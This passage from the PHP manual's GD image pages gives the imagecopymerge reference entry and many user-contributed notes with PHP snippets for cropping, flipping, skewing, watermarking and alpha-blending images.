    imagefilledrectangle($im, 0, $rect_y, $left_w, $target_h - $bottom_h - 1, IMG_COLOR_TILED);

    $right_side = CreateBlankPNG($right_w, $target_h - $rect_y - $bottom_h);
    imagesettile($right_side, $right_tile);
    imagefilledrectangle($right_side, 0, 0, $right_w, $target_h - $rect_y - $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $right_side, $target_w - $right_w, $rect_y, 0, 0, $right_w, $target_h - $rect_y - $bottom_h);

    $bottom_side = CreateBlankPNG($target_w - $right_w - $left_w, $bottom_h);
    imagesettile($bottom_side, $bottom_tile);
    imagefilledrectangle($bottom_side, 0, 0, $target_w - $right_w - $left_w, $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $bottom_side, $right_w, $target_h - $bottom_h, 0, 0, $target_w - $right_w - $left_w, $bottom_h);

    imagedestroy($left_tile);
    imagedestroy($right_tile);
    imagedestroy($top_tile);
    imagedestroy($bottom_tile);
    imagedestroy($inner_tile);
    imagedestroy($right_side);
    imagedestroy($bottom_side);

    return $im;
}

function CreateBlankPNG($w, $h)
{
    $im = imagecreatetruecolor($w, $h);
    imagesavealpha($im, true);
    $transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
    imagefill($im, 0, 0, $transparent);
    return $im;
}
 ?>
Chad Allard 06-Jul-2009 09:20
Regarding the image_flip function discussed in the notes here, don't forget to support transparency.

AFTER:

$imgdest = imagecreatetruecolor($width, $height);

ADD:

imagealphablending($imgdest, false);
imagesavealpha($imgdest, true);

In another post here it mentioned you didn't have to use the imagesavealpha function, but I found without it the background transparency can turn the background canvas black.
etienne at escott dot info 03-Jul-2009 11:16
This is based on the Skew function from designerkamal at gmail dot com.

This is a function for skewing images in PHP with anti-aliasing. It works with alpha PNG images.

Warning: the bigger the image you skew, the longer it will take to process. It's about 3 times longer than without anti-aliasing.

<?php
// $img: handle of an image
// $skew_val: level of skew to apply (0 being none, 1 being 45°)
function imageskewantialiased($img, $skew_val)
{
    $width = imagesx($img);
    $height = imagesy($img);
    $height2 = $height + ($width * $skew_val);

    // See below for definition of imagecreatealpha
    $imgdest = imagecreatealpha($width, $height2);

    // Process the image
    for($x = 0, $level = 0; $x < $width - 1; $x++)
    {
        $floor = floor($level);

        // To go faster, some lines are being copied at once
        if ($level == $floor)
            imagecopy($imgdest, $img, $x, $level, $x, 0, 1, $height - 1);
        else
        {
            $temp = $level - $floor;

            // The first pixel of the line
            // We get the color then apply a fade on it depending on the level
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, 0));
            $alpha = $color1['alpha'] + ($temp * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor, $color);
            }

            // The rest of the line
            for($y = 1; $y < $height - 1; $y++)
            {
                // Merge this pixel and the upper one
                $color2 = imagecolorsforindex($img, imagecolorat($img, $x, $y));
                $alpha = ($color1['alpha'] * $temp) + ($color2['alpha'] * (1 - $temp));
                if ($alpha < 127)
                {
                    $red   = ($color1['red']   * $temp) + ($color2['red']   * (1 - $temp));
                    $green = ($color1['green'] * $temp) + ($color2['green'] * (1 - $temp));
                    $blue  = ($color1['blue']  * $temp) + ($color2['blue']  * (1 - $temp));
                    $color = imagecolorallocatealpha($imgdest, $red, $green, $blue, $alpha);
                    imagesetpixel($imgdest, $x, $floor + $y, $color);
                }

                $color1 = $color2;
            }

            // The last pixel of the line
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, $height - 1));
            $alpha = $color1['alpha'] + ((1 - $temp) * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor + $height - 1, $color);
            }
        }

        // The line is finished, the next line will be lower
        $level += $skew_val;
    }

    // Finished processing, return the skewed image
    return $imgdest;
}

// Creates a new image of the size specified with a blank background (transparent)
function imagecreatealpha($width, $height)
{
    // Create a normal image and apply required settings
    $img = imagecreatetruecolor($width, $height);
    imagealphablending($img, false);
    imagesavealpha($img, true);

    // Apply the transparent background
    $trans = imagecolorallocatealpha($img, 0, 0, 0, 127);
    for ($x = 0; $x < $width; $x++)
    {
        for ($y = 0; $y < $height; $y++)
        {
            imagesetpixel($img, $x, $y, $trans);
        }
    }

    return $img;
}

// Here's an example of how to use it
imagepng(imageskewantialiased(imagecreatefrompng('test.png'), 0.15), 'skew.png');
?>
John Conde 27-May-2009 04:55
Simple and basic image cropping:

<?php
// Original image
$filename = 'someimage.jpg';

// Get dimensions of the original image
list($current_width, $current_height) = getimagesize($filename);

// The x and y coordinates on the original image where we
// will begin cropping the image
$left = 50;
$top = 50;

// This will be the final size of the image (e.g. how many pixels
// left and down we will be going)
$crop_width = 200;
$crop_height = 200;

// Resample the image
$canvas = imagecreatetruecolor($crop_width, $crop_height);
$current_image = imagecreatefromjpeg($filename);
imagecopy($canvas, $current_image, 0, 0, $left, $top, $current_width, $current_height);
imagejpeg($canvas, $filename, 100);
?>
webmaster at plumage dot nl 18-Mar-2009 01:38
I have a few remarks om the mirror-function:
The cases horizontal and vertical are switched.
1 = vertical and 2 = horizontal.
When I used it there appeared a black lining of 1 pixel on the side or on the top of the picture.
To remove it the function becomes as follows:

<?php
function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( $mode )
    {

        case '1': //vertical
            $src_y                =    $height -1;
            $src_height           =    -$height;
        break;

        case '2': //horizontal
            $src_x                =    $width -1;
            $src_width            =    -$width;
        break;

        case '3': //both
            $src_x                =    $width -1;
            $src_y                =    $height -1;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y , $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}
?>
xafford 27-Sep-2008 02:53
concerning the previous post of Borszczuk and the function to mirror images:

There´s a way better (and faster) method for this task with imagecopyresampled.

<?php

define ( 'IMAGE_FLIP_HORIZONTAL', 1 );
define ( 'IMAGE_FLIP_VERTICAL', 2 );
define ( 'IMAGE_FLIP_BOTH', 3 );

function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( (int) $mode )
    {

        case IMAGE_FLIP_HORIZONTAL:
            $src_y                =    $height;
            $src_height           =    -$height;
        break;

        case IMAGE_FLIP_VERTICAL:
            $src_x                =    $width;
            $src_width            =    -$width;
        break;

        case IMAGE_FLIP_BOTH:
            $src_x                =    $width;
            $src_y                =    $height;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y, $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}

?>
Cory Gagliardi 08-Jul-2008 08:40
Here is some simple code for resizing an uploaded image and inserting a watermark (from a 24-bit PNG) on the bottom right of it.  In this case, the water mark was a diagnol band that said "SOLD" across it.  The code that verifies the uploaded image is the correct type has been omitted:

<?PHP
//Load and resize the image
$uploaded = imagecreatefromjpeg($_FILES['file']['tmp_name']);
$image = imagecreatetruecolor(IMAGE_WIDTH, IMAGE_HEIGHT);
imagecopyresampled($image, $uploaded, 0, 0, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT, imagesx($uploaded), imagesy($uploaded));
imagealphablending($image,true); //allows us to apply a 24-bit watermark over $image

//Load the sold watermark
$sold_band = imagecreatefrompng('../images/sold_band.png');
imagealphablending($sold_band,true);

//Apply watermark and save
$image = image_overlap($image, $sold_band);
imagecopy($image,$sold_band,IMAGE_WIDTH - SOLD_WIDTH,IMAGE_HEIGHT - SOLD_HEIGHT,0,0,SOLD_WIDTH,SOLD_HEIGHT);
$success = imagejpeg($image,'../images/sold/'.$id.'.jpg',85);

imagedestroy($image);
imagedestroy($uploaded);
imagedestroy($sold_band);
?>
matrebatre 02-Feb-2008 02:22
I had the same problem as Jeff, but his solution didn't work for me. I made this script, and it seems to work:

<?php

$img = imagecreatefromgif('in.gif');
$w = imagesx($img);
$h = imagesy($img);

$trans = imagecolortransparent($img);
if($trans >= 0) {

$rgb = imagecolorsforindex($img, $trans);

$oldimg = $img;
$img = imagecreatetruecolor($w,$h);
$color = imagecolorallocate($img,$rgb['red'],$rgb['green'],$rgb['blue']);
imagefilledrectangle($img,0,0,$w,$h,$color);
imagecopy($img,$oldimg,0,0,0,0,$w,$h);

}

imagegif($img,'out.gif');

?>
Jeff 23-Feb-2007 12:27
I came across the problem of having a page where any image could be uploaded, then I would need to work with it as a true color image with transparency. The problem came with palette images with transparency (e.g. GIF images), the transparent parts changed to black (no matter what color was actually representing transparent) when I used imagecopy to convert the image to true color.

To convert an image to true color with the transparency as well, the following code works (assuming $img is your image resource):

<?php
//Convert $img to truecolor
$w = imagesx($img);
$h = imagesy($img);
if (!imageistruecolor($img)) {
  $original_transparency = imagecolortransparent($img);
  //we have a transparent color
  if ($original_transparency >= 0) {
    //get the actual transparent color
    $rgb = imagecolorsforindex($img, $original_transparency);
    $original_transparency = ($rgb['red'] << 16) | ($rgb['green'] << 8) | $rgb['blue'];
    //change the transparent color to black, since transparent goes to black anyways (no way to remove transparency in GIF)
    imagecolortransparent($img, imagecolorallocate($img, 0, 0, 0));
  }
  //create truecolor image and transfer
  $truecolor = imagecreatetruecolor($w, $h);
  imagealphablending($img, false);
  imagesavealpha($img, true);
  imagecopy($truecolor, $img, 0, 0, 0, 0, $w, $h);
  imagedestroy($img);
  $img = $truecolor;
  //remake transparency (if there was transparency)
  if ($original_transparency >= 0) {
    imagealphablending($img, false);
    imagesavealpha($img, true);
    for ($x = 0; $x < $w; $x++)
      for ($y = 0; $y < $h; $y++)
        if (imagecolorat($img, $x, $y) == $original_transparency)
          imagesetpixel($img, $x, $y, 127 << 24);
  }
}
?>

And now $img is a true color image resource
john at mccarthy dot net 17-Jan-2007 02:37
Here is an upgrade of that cool wave function: Double the size of the image, wave it, then resample it down again. This makes even nicer, anti aliased waves.

    // So easy and nice!
    function wave_region($img, $x, $y, $width, $height,$amplitude = 4.5,$period = 30)
    {
        // Make a copy of the image twice the size
        $mult = 2;
        $img2 = imagecreatetruecolor($width * $mult, $height * $mult);
        imagecopyresampled ($img2,$img,0,0,$x,$y,$width * $mult,$height * $mult,$width, $height);

        // Wave it
        for ($i = 0;$i < ($width * $mult);$i += 2)
        {
           imagecopy($img2,$img2,
               $x + $i - 2,$y + sin($i / $period) * $amplitude,    // dest
               $x + $i,$y,            // src
               2,($height * $mult));
        }

        // Resample it down again
        imagecopyresampled ($img,$img2,$x,$y,0,0,$width, $height,$width * $mult,$height * $mult);
        imagedestroy($img2);
    }

To use it in a full image:
    wave_region ($oImage,0,0,imagesx($oImage),imagesy($oImage));
C. Jansen 16-Aug-2006 08:02
While replying to a post in a support forum I noticed something odd about imagecopy(). The first snippet (should) create an image object, allocate a colour resource within that image, fill the background with the allocated colour and then copy another, cropped to fit, image onto it.

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    //fill the background with white
    imagefill( $temp, 0, 0, $white );

    //copy the image into new a resource
    imagecopy($temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height);
?>

But this produces a black background. I noticed taking away the imagefill() call yields the same results. The solution was to call imagefill() after the imagecopy(). Thinking linearly I would have guessed this to cover the previously copied image in white but it doesn't. I guess GD uses a layer system? Is this correct?

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    // copy image into new resource
    imagecopy( $temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height );

    //fill the background with white (not sure why it has to be in this order)
    imagefill( $temp, 0, 0, $white );
?>

I am using php 5.1.4 with the bundled GD (2.0.28)
02-Apr-2006 07:21
Basic way to implement a "crop" feature : given an image (src), an offset (x, y) and a size (w, h).

crop.php :
<?php
$w=$_GET['w'];
$h=isset($_GET['h'])?$_GET['h']:$w;    // h est facultatif, =w par défaut
$x=isset($_GET['x'])?$_GET['x']:0;    // x est facultatif, 0 par défaut
$y=isset($_GET['y'])?$_GET['y']:0;    // y est facultatif, 0 par défaut
$filename=$_GET['src'];
header('Content-type: image/jpg');
header('Content-Disposition: attachment; filename='.$src);
$image = imagecreatefromjpeg($filename);
$crop = imagecreatetruecolor($w,$h);
imagecopy ( $crop, $image, 0, 0, $x, $y, $w, $h );
imagejpeg($crop);
?>

Call it like this :

<img src="crop.php?x=10&y=20&w=30&h=40&src=photo.jpg">
admin at cvxdes dot com 23-Feb-2006 05:26
I used this to watermark images. This is the function I wrote:

<?php
function watermark($url,$logo){
    $bwidth  = imagesx($url);
    $bheight = imagesy($url);
    $lwidth  = imagesx($logo);
    $lheight = imagesy($logo);
    $src_x = $bwidth - ($lwidth + 5);
    $src_y = $bheight - ($lheight + 5);
    ImageAlphaBlending($url, true);
    ImageCopy($url,$logo,$src_x,$src_y,0,0,$lwidth,$lheight);
}
?>

Usage:
<?php
//$current_image would be your image the watermark is overlayed onto. Make sure it's imagecreatefrom*** to work.
watermark($current_image,$watermark_image);
?>

Hope this helps someone.
designerkamal at gmail dot com 09-Feb-2006 08:38
Skewing images in PHP...
<?php
function Skew($src, $dest, $skew_val)
{
  $imgsrc = imagecreatefromgif($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height+($height*$skew_val));
  $trans = imagecolorallocate($imgdest,0,0,0);
  $temp=0;
  for($x=0 ; $x<$width ; $x++)
   {
     for($y=0 ; $y<$height ; $y++)
    {
        imagecopy($imgdest, $imgsrc, $x, $y+$temp, $x, $y, 1, 1);
      imagecolortransparent($imgdest,$trans);

    }
    $temp+=$skew_val;
   }
  imagepng($imgdest, $dest);
  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}
Skew("img.gif", "img2.png","1");
print "<img src='img.gif'>";
print "<br><br>";
print "<img src='img2.png'>";
?>
ragnar_40k at hotmail dot com 21-Nov-2005 12:17
Here a function to make holes into images:

// Set the alpha channel for a part of an image (it ignores the canvas alpha atm).
// $img_canvas - 32-bit true color image w/ alpha channel
// $img_mask - 8-bit gray scale image (white parts will be masked transparent in the canvas).
// This relies on the current pixel format:
// (high byte) -> (alpha channel} {red} {green} {blue} <- (low byte)
function mask($img_canvas, $img_mask, $dst_x, $dst_y)
{
   $old_blendmode = imagealphablending($img_canvas, FALSE);

   $width  = imagesx($img_mask);
   $heigth = imagesy($img_mask);

   $mask_x = 0;
   $x = $dst_y;
   while ($mask_x<$width)
   {
       $mask_y = 0;
       $y = $dst_y;
       while ($mask_y<$heigth)
       {
           imagesetpixel($img_canvas, $x, $y,
               ((imagecolorat($img_mask, $mask_x, $mask_y) >> 1) << 24) | (imagecolorat($img_canvas, $x, $y) & 0x00FFFFFF));

           ++$mask_y;
           ++$y;
       }
       ++$mask_x;
       ++$x;
   }

   imagealphablending($img_canvas, $old_blendmode);
}
johnny at netvor dot sk 21-Oct-2005 05:48
simple image combination srcipt, ie. if u want to create one  huuuge signature from more small ones

<?php
// config --
$src = array ("http://www.google.com/images/logo_sm.gif", "http://sk2.php.net/images/php.gif");
$under = 0;    // combine images underneath or not?
// -- end of config

$imgBuf = array ();
$maxW=0; $maxH=0;
foreach ($src as $link)
{
    switch(substr ($link,strrpos ($link,".")+1))
    {
        case 'png':
            $iTmp = imagecreatefrompng($link);
            break;
        case 'gif':
            $iTmp = imagecreatefromgif($link);
            break;
        case 'jpeg':
        case 'jpg':
            $iTmp = imagecreatefromjpeg($link);
            break;
    }

    if ($under)
    {
        $maxW=(imagesx($iTmp)>$maxW)?imagesx($iTmp):$maxW;
        $maxH+=imagesy($iTmp);
    }
    else
    {
        $maxW+=imagesx($iTmp);
        $maxH=(imagesy($iTmp)>$maxH)?imagesy($iTmp):$maxH;
    }

    array_push ($imgBuf,$iTmp);
}

$iOut = imagecreate ($maxW,$maxH) ;

$pos=0;
foreach ($imgBuf as $img)
{
    if ($under)
        imagecopy ($iOut,$img,0,$pos,0,0,imagesx($img),imagesy($img));
    else
        imagecopy ($iOut,$img,$pos,0,0,0,imagesx($img),imagesy($img));
    $pos+= $under ? imagesy($img) : imagesx($img);
    imagedestroy ($img);
}

imagegif($iOut);
?>
sawaz 03-Jul-2005 01:45
Just a little function that allows you to change the foreground color of a transparent gif or png.
It's supposed to use only two-color images, becouse it convert all the colors to the specified one.

It works with .gif or .png as source, but writes only .png

function ColorReplace( $url )
{
    # The new color and its channels
    $NEW_COLOR = "#FF66FF";
    $r = 0+("0x".substr( $NEW_COLOR, 1, 2));
    $g = 0+("0x".substr( $NEW_COLOR, 3, 2));
    $b = 0+("0x".substr( $NEW_COLOR, 5, 2));

    # I read the kind of file from the extension
    $tmp = pathinfo($url);
    $extension =$tmp['extension'];
    if( $extension == 'png' ) $oldIm = @imagecreatefrompng( $url );
    elseif( $extension == 'gif' ) $oldIm = @imagecreatefromgif( $url );

    # I replace EACH color in the palette with the new one
    for( $i=0; $i < imagecolorstotal( $oldIm ); $i++ )
        imagecolorset( $oldIm, $i, $r,$g,$b );

    # Output the file in png format : each color is now NEW COLOR
    # but transparency is preserved !!
    header("Content-type: image/png");
    imagepng($oldIm);
    imagedestroy($oldIm);
}
cod at crescentofdarkness dot cjb dot net 20-Dec-2004 06:45
This function will put a truecolor png with transparency over a custom color backgorund.

The image will be gracefully blended with the background color using the alpha channel for each color.

In real world we'd just mix foreground and backgorund colors looking at their percentages (i.e. 20% of background + 80% of foreground)
Here we have to calculate this for each r, g and b value of each color, and we have to use 127 instead of 100, because alpha channel goes from 0 to 127.

Try it on a color-to-transparent gradient!

<?php
function pngcolorizealpha($file, $color) {
/*
Function:    pngcolorizealpha
Author:    CoD (cod at crescentofdarkness dot cjb dot net)
Summary:    Blends a truecolor png image with a coloured background using alpha channel

Input:
--------------------------
$file - string - path to the png image
$color- string - color in hex notation, without the #

Output:
--------------------------
a png image

*/

// first of all let's convert the background color
$background = array(
     'red'   => hexdec(substr($color,0,2)),
     'green' => hexdec(substr($color,2,2)),
     'blue'  => hexdec(substr($color,4,2))
);

$im1 = imagecreatefrompng($file) or die('Cannot Initialize new GD image stream');
$im2 = imagecreatetruecolor(imagesx($im1), imagesy($im1));
$col1 = imagecolorallocate($im2, $background['red'], $background['green'], $background['blue']);

imagefill($im2,0,0,$col1);

// for each color in the original png
for ($i=0; $i< imagecolorstotal($im1); $i++) {

    // find r,g,b and alpha value
    $foreground = imagecolorsforindex($im1, $i);

    // blend fore and back colors using alpha value
    $r = (($foreground['red'] / 127) * (127 - $foreground['alpha'])) + (($background['red'] / 127)* $foreground['alpha']);
    $g = (($foreground['green'] / 127) * (127 - $foreground['alpha'])) + (($background['green'] / 127)* $foreground['alpha']);
    $b = (($foreground['blue'] / 127) * (127 - $foreground['alpha'])) + (($background['blue'] / 127)* $foreground['alpha']);

    // allocate this new color in the destination image
    imagecolorallocate($im2, $r,$g,$b);
}

imagecopy($im2, $im1, 0, 0, 0, 0, imagesx($im1), imagesy($im1));

header ("Content-type: image/png");
imagepng($im2);

imagedestroy($im1);
imagedestroy($im2);
}
?>
RT 09-May-2004 12:09
Although the following function doesn't use imagecopy(), I thought it might help in related tasks. Please see the code comments for details of it's operation. I made this function to assist in creating images using multiple "layers". For example if you wanted to dynamically create a logo image with seperate colors for say the logo itself and a glow around the logo, these steps would be followed:

-Using an image editor (like Photoshop), create a png-24 image with just the logo on a transparent background. The logo can be any color or multiple colors, but the final image created by this function will be of a single color.

-Create a similar image with just the glow (no logo)

-Create a background image

-Apply this colorize() function to the logo image and the glow image with your desired color for each.

-You can now use imagecopy() to merge all three into a single image ready for a browser.

Here's the code

<?php

/*======Colorize=====
(requires GD 2.0.1 or greater)
This function requires the following arguments:
 $src_path = A string representing the relative path to the src image. Ex: "images/myimage.png". This
    image must be a png-24 with an alpha channel.
 $dest_path = A string representing the relative path to the image to be created.
 $hex_color = A string representing a color in html format, including the # sign. Ex: "#D2E5FF"

This function examines the transparency of the source image, pixel by pixel, and creates a new
one-color image with this same "transparency map".
====================*/

function colorize($src_path, $dest_path, $hex_color) {

    //get the png-24 image - it must have an alpha channel for this funciton to be effective
    $src = imagecreatefrompng($src_path);

    //get width
    $w = imagesx($src);

    //get height
    $h = imagesy($src);

    //create same size destination image
    $dest = imagecreatetruecolor($w, $h);

    //this must be set to false in order to be able to overwright the defualt black pixels of the background with our new
    //transparent pixels. Otherwise our new pixel would just be applied on top of the black.
    imagealphablending($dest, false);

    //get decimal components of the passed hex color
    $red = hexdec(substr($hex_color, 1, 2));
    $green = hexdec(substr($hex_color, 3, 2));
    $blue = hexdec(substr($hex_color, 5, 2));

    for ($i = 0; $i < $h; $i++) { //this loop traverses each row in the image
        for ($j = 0; $j < $w; $j++) { //this loop traverses each pixel of each row

            //get the color & alpha info of the current pixel
            $retrieved_color = imagecolorat($src, $j, $i);

            //put this info into an array
            $rgba_array = imagecolorsforindex($src, $retrieved_color);

            //get the transparency of the pixel as a number from 0 (opaque) to 127 (transparent)
            $alpha = $rgba_array['alpha'];

            //allocate the color to paint. Note that we may continue to overwright this color since our image is not palleted
            $color_to_paint = imagecolorallocatealpha($dest, $red, $green, $blue, $alpha);

            //paint the pixel
            imagesetpixel($dest, $j, $i, $color_to_paint);

        }
    }

    //this allows the new transparency info to be saved with the image
    imagesavealpha($dest, true);

    //write the image to the destination file
    imagepng($dest, $dest_path);
}
?>
matheus at slacklife dot com dot br 13-Sep-2003 01:24
// Image Resize
function createthumb($IMAGE_SOURCE,$THUMB_X,$THUMB_Y,$OUTPUT_FILE){
  $BACKUP_FILE = $OUTPUT_FILE . "_backup.jpg";
  copy($IMAGE_SOURCE,$BACKUP_FILE);
  $IMAGE_PROPERTIES = GetImageSize($BACKUP_FILE);
  if (!$IMAGE_PROPERTIES[2] == 2) {
    return(0);
  } else {
    $SRC_IMAGE = ImageCreateFromJPEG($BACKUP_FILE);
    $SRC_X = ImageSX($SRC_IMAGE);
    $SRC_Y = ImageSY($SRC_IMAGE);
    if (($THUMB_Y == "0") && ($THUMB_X == "0")) {
      return(0);
    } elseif ($THUMB_Y == "0") {
      $SCALEX = $THUMB_X/($SRC_X-1);
      $THUMB_Y = $SRC_Y*$SCALEX;
    } elseif ($THUMB_X == "0") {
      $SCALEY = $THUMB_Y/($SRC_Y-1);
      $THUMB_X = $SRC_X*$SCALEY;
    }
    $THUMB_X = (int)($THUMB_X);
    $THUMB_Y = (int)($THUMB_Y);
    $DEST_IMAGE = imagecreatetruecolor($THUMB_X, $THUMB_Y);
    unlink($BACKUP_FILE);
    if (!imagecopyresized($DEST_IMAGE, $SRC_IMAGE, 0, 0, 0, 0, $THUMB_X, $THUMB_Y, $SRC_X, $SRC_Y)) {
      imagedestroy($SRC_IMAGE);
      imagedestroy($DEST_IMAGE);
      return(0);
    } else {
      imagedestroy($SRC_IMAGE);
      if (ImageJPEG($DEST_IMAGE,$OUTPUT_FILE)) {
        imagedestroy($DEST_IMAGE);
        return(1);
      }
      imagedestroy($DEST_IMAGE);
    }
    return(0);
  }

} # end createthumb
schdenis at telecom dot by 02-May-2003 12:02
As you probably know 'gif' is a paletted image, that is why if you want to copy one 'gif' onto another 'gif' using ImageCopy you need to create a paletted destination image using (ImageCreate), not ImageCreateTrueColor.
mbostrom at paragee dot com 30-Nov-2002 09:56
If you want to copy a non-rectangular (hence transparent) image onto a background (for example, a pawn onto a chessboard) do the following:

First, create the pawn image pawn.png in your favorite graphics program.  Do NOT make the image transparent, instead, give it a distinct solid background color.  You will flag this color as transpernt inside PHP, otherwise imagecopy will not honor the transparency.

Then:

$board = imagecreatefrompng ("board.png");
$pawn  = imagecreatefrompng ("pawn.png");
imagecolortransparent ($pawn, imagecolorat ($pawn, 0, 0));
imagecopy ($board, $pawn, $x, $y, 0, 0, $pawnWidth, $pawnHeight);
imagedestroy ($pawn);
adam at shallimus dot com 05-Oct-2002 03:47
One way 'round the even/odd image size problem would be to use bcdiv.
robert at scpallas dot com 08-Feb-2002 05:33
If you are getting an error when using ImageCopy(), be sure that both images are of the same type - either True Color or Palette.
GD 1.x can copy images of different types, but with GD 2.0 this will cause an error.

sorry - forgot to fill in my email...
Note that ImageCreateFromJPEG always creates a True Color Image.
You can use ImageCreateTrueColor() instead of Image Create() to solve this problem.


Copy and merge part of an image

  • « imagecopy
  • imagecopymergegray »
  • PHP Manual
  • GD and Image Functions
  • Copy and merge part of an image

imagecopymerge

(PHP 4 >= 4.0.1, PHP 5)

imagecopymerge — Copy and merge part of an image

Description

bool imagecopymerge ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct )

Copy a part of src_im onto dst_im starting at the x,y coordinates src_x, src_y with a width of src_w and a height of src_h. The portion defined will be copied onto the x,y coordinates, dst_x and dst_y.

Parameters

dst_im

Destination image link resource.

src_im

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

src_w

Source width.

src_h

Source height.

pct

The two images will be merged according to pct which can range from 0 to 100. When pct = 0, no action is taken, when 100 this function behaves identically to imagecopy() for pallete images, except for ignoring alpha components, while it implements alpha transparency for true colour images.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Merging two copies of the PHP.net logo with 75% transparency

<?php
// Create image instances
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Copy and merge
imagecopymerge($dest, $src, 10, 10, 0, 0, 100, 47, 75);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

Leo 04-Jan-2012 06:14
The following function creates mask of a true color image for a given color. Beforehand for creating an image mask I used to loop over all image pixels and check their color using imagecolorat and copy if the color matches with imagesetpixel. This was very slow for large images, so the following code improves the process.

<?php

    function getOppositeColor ($color)
    {
        return (
                    ( (255 - ($color >> 16) & 0xFF) << 16 ) +
                    ( (255 - ($color >> 8  ) & 0xFF) << 8  ) +
                    ( (255 - ($color         ) & 0xFF)         )
                );
    }

    function createImageMask (&$image, $color)
    {
        $w = imagesx ($image);
        $h = imagesy ($image);

        $tmpImage = imagecreatetruecolor ($w, $h);

        imagecopy ($tmpImage, $image, 0, 0, 0, 0, $w, $h);

        imagefilter ($image, IMG_FILTER_NEGATE);

        imagecolortransparent ($image, getOppositeColor ($color));

        imagecopymerge ($tmpImage, $image, 0, 0, 0, 0, $w, $h, 50);

        imagedestroy ($image);

        $image = $tmpImage;
    }

?>

So for example, if we have a photo and we specify color = (255, 0, 0), i.e. red, the result will be image of the same size with red pixels everywhere the original photo was red and grey pixels exerywhere else.
Leo 04-Jan-2012 03:27
imagecopymerge PHP function helped me to create a fast method that replaces one color by another in true color images.

Beforehand for this purpose I had to loop over all the pixels of an image and replace color pixel by pixel using imagecolorat and imagesetpixel; this method is really slow for large images.

So here is the fast one:

<?php

function replaceColorInImage ($image, $old_r, $old_g, $old_b, $new_r, $new_g, $new_b)
{
    imagecolortransparent ($image, imagecolorallocate ($image, $old_r, $old_g, $old_b));

    $w = imagesx ($image);
    $h = imagesy ($image);

    $resImage = imagecreatetruecolor ($w, $h);

    imagefill ($resImage, 0, 0, imagecolorallocate ($resImage, $new_r, $new_g, $new_b));

    imagecopymerge ($resImage, $image, 0, 0, 0, 0, $w, $h, 100);

    return $resImage;
}

?>
thciobanu 09-Mar-2011 09:56
This is what I use for merging two images while respecting the alpha channel (formulas are taken from the wikipedia article on alpha compositing; they're not too pretty as I didn't really try to make them look so, but instead just work and make sense when checked out months from now), with a quirk - an additional parameter (that defaults to NULL to be ignored) to manually specify a "transparent" color, which won't be copied over from the source to the destination. In comparison to the other implementation here, only one pass over $src_im is done, but more calculations are performed:

<?php
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, $trans = NULL)
{
  $dst_w = imagesx($dst_im);
  $dst_h = imagesy($dst_im);

  // bounds checking
  $src_x = max($src_x, 0);
  $src_y = max($src_y, 0);
  $dst_x = max($dst_x, 0);
  $dst_y = max($dst_y, 0);
  if ($dst_x + $src_w > $dst_w)
    $src_w = $dst_w - $dst_x;
  if ($dst_y + $src_h > $dst_h)
    $src_h = $dst_h - $dst_y;

  for($x_offset = 0; $x_offset < $src_w; $x_offset++)
    for($y_offset = 0; $y_offset < $src_h; $y_offset++)
    {
      // get source & dest color
      $srccolor = imagecolorsforindex($src_im, imagecolorat($src_im, $src_x + $x_offset, $src_y + $y_offset));
      $dstcolor = imagecolorsforindex($dst_im, imagecolorat($dst_im, $dst_x + $x_offset, $dst_y + $y_offset));

      // apply transparency
      if (is_null($trans) || ($srccolor !== $trans))
      {
        $src_a = $srccolor['alpha'] * $pct / 100;
        // blend
        $src_a = 127 - $src_a;
        $dst_a = 127 - $dstcolor['alpha'];
        $dst_r = ($srccolor['red'] * $src_a + $dstcolor['red'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_g = ($srccolor['green'] * $src_a + $dstcolor['green'] * $dst_a * (127 - $src_a) / 127) / 127;
